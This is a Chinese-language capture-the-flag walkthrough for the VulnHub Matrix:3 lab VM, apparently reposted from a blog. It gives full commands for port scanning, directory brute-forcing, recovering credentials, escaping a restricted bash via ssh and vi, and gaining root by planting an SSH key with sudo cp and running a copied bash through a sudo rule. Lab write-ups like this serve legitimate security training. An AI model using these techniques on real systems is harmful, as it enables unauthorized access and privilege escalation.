Matrix:3

发布时间:2024年01月22日

下载地址https://download.vulnhub.com/matrix/Machine_Matrix_v3.ova

测试机系统:kali、win11

Matrix3靶机IP地址:192.168.248.131

Kali的IP地址:192.168.248.132

下载并导入靶机

打开vmware——文件—打开—hackme.ova—导入虚拟机

查看网络适配器

将靶机网络适配器改为NAT模式

启动靶机

点击??靶机,开启成功

nmap -sP -T4 192.168.248.0/24 -oN nmap220.sP

发现靶机IP:192.168.248.131

使用nmap发现靶机开放的端口,已开放80、6464、7331三个端口

nmap -A -T4 192.168.248.131 -p- -oN nmap160.A

分别访问7331、80端口查看页面

7331端口页面是一个登陆页面,但无账号密码

80端口页面,页面提示“Follow the White Rabbit”,并在页面下面发现白兔子图片,查看网页源码发现兔子图片的链接

打开图片链接,图片名给了提示“Matrix_can-show-you-the-door”

http://192.168.248.131/assets/img/Matrix_can-show-you-the-door.png

直接在80端口,访问Matrix目录,发现可以打开,并发现很多目录

http://192.168.248.131/Matrix/

在Matrix/n/e/o/6/4/目录下发现一个secret.gz文件,应该是一个提示

http://192.168.248.131/Matrix/n/e/o/6/4

将secret.gz下载到本地,无法解压,再查看文件的类型是一个文本文件,ls查看文本内容发现登录用户和加密后的密码

wget http://192.168.248.131/Matrix/n/e/o/6/4/secret.gz

gunzip secret.gz

ls

file secret.gz

cat secret.gz

密文采用md5加密,解密后密码为:passwd

使用admin/passwd登录7331端口页面

使用kali下的dirb工具爆破目录及文件,发现assets、data目录

dirb http://192.168.248.131:7331/ -u admin:passwd -w

在data目录下发现data文件

下载data文件到本地:

wget http://192.168.248.131:7331/data/data --user=admin --password=passwd

查看data文件的文件类型,是一个Windows下的文件,但是在这里遇见了问题,没有找出data文件中隐藏的内容

file?data

使用IDA Pro反编译data文件找到了guest用户及密码为:7R1n17yN30

正如我们已经从我们的nmap扫描知道有SSH在目标计算机上的端口6464上运行,因此我们尝试用上面找到用户名和密码的ssh目标机就能成功的登录。

命令:?ssh guest@192.168.248.131 –p 6464

输入密码:7R1n17yN30

漏洞利用

使用?guest/7R1n17yN30 进行 ssh 登录得到,获得 bash ,不过是一个受限制的 bash ,rbash ( restriced bash ) ,使得一些基本的命令都无法执行

  • ?获取完整 shell

方法一

使用?-t “bash --noprofile”?来禁止相关的启动脚本,从而获得完整的 shell

ssh guest@192.168.248.131 -p 6464 -t "bash --noprofile"

方法二

利用?vi 编辑器,改变环境变量 getshell

  1. 查看可执行权限的路径和命令,发现可以使用?vi 编辑器

  1. 进入?vi 编辑器之后,按 esc 键,接着输入 :!/bin/sh 反弹 shell (感叹号表示强制执行)

  1. 修改环境变量?PATH

export PATH="/usr/bin"

/usr/bin/bash

ps:不能直接在不完整的 shell 中修改环境变量 PATH,因为权限不够,只读权限(readonly variable)

  • 提权
  1. 使用?sudo -l 发现可以以 root 权限免密执行 /usr/lib64/xfce4/session/xfsm-shutdown-helper ,以 trinity 权限免密执行 /bin/cp

利用的思路是在?guest 账户下生成 ssh 密钥,然后将同时生成的公钥复制到 trinity 账户下的 .ssh/authorized_keys

  1. 把原先?guest 账户下的 .ssh 文件删除,重新生成 .ssh

rm -rf .ssh

ssh-keygen

  1. 对于?.ssh 目录和 id_rsa.pub 文件要赋予完全权限(所有用户都拥有最高权限 – rwx)

chmod 777 .ssh

chmod 777 .ssh/id_rsa.pub

ls?-al .ssh/

  1. 将公钥?id_rsa.pub 复制给 trinity 账户下的 .ssh/authorized_keys,使用 ssh 携带 guest 的密钥在环回接口登录即可

sudo -u trinity /bin/cp .ssh/id_rsa.pub /home/trinity/.ssh/authorized_keys

ssh trinity@127.0.0.1 -i .ssh/id_rsa -p 6464

sudo -l

???使用ssh连接trinity用户,成功登录

  1. sudo -l?查看当前 trinity 用户的权限,发现可以以 root 权限免密执行 /home/trinity/oracle ,实际上在 /home/trinity 目录下没有 oracle 可执行文件,利用的思路是将 /usr/bin 目录下用的 bash 可执行文件复制给 trinity 目录下的 oracle 文件,然后赋予可执行权限之后使用 sudo 执行即可提权。

cp /usr/bin/bash oracle

chmod +x oracle

sudo ./oracle

调用oracle,成功拥有root权限,在root目录下找到flag.txt文件

sudo ./oracle

cd /root/

cat flag.txt

完成!over!!

文章来源:https://blog.csdn.net/zzf011900/article/details/135749651
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。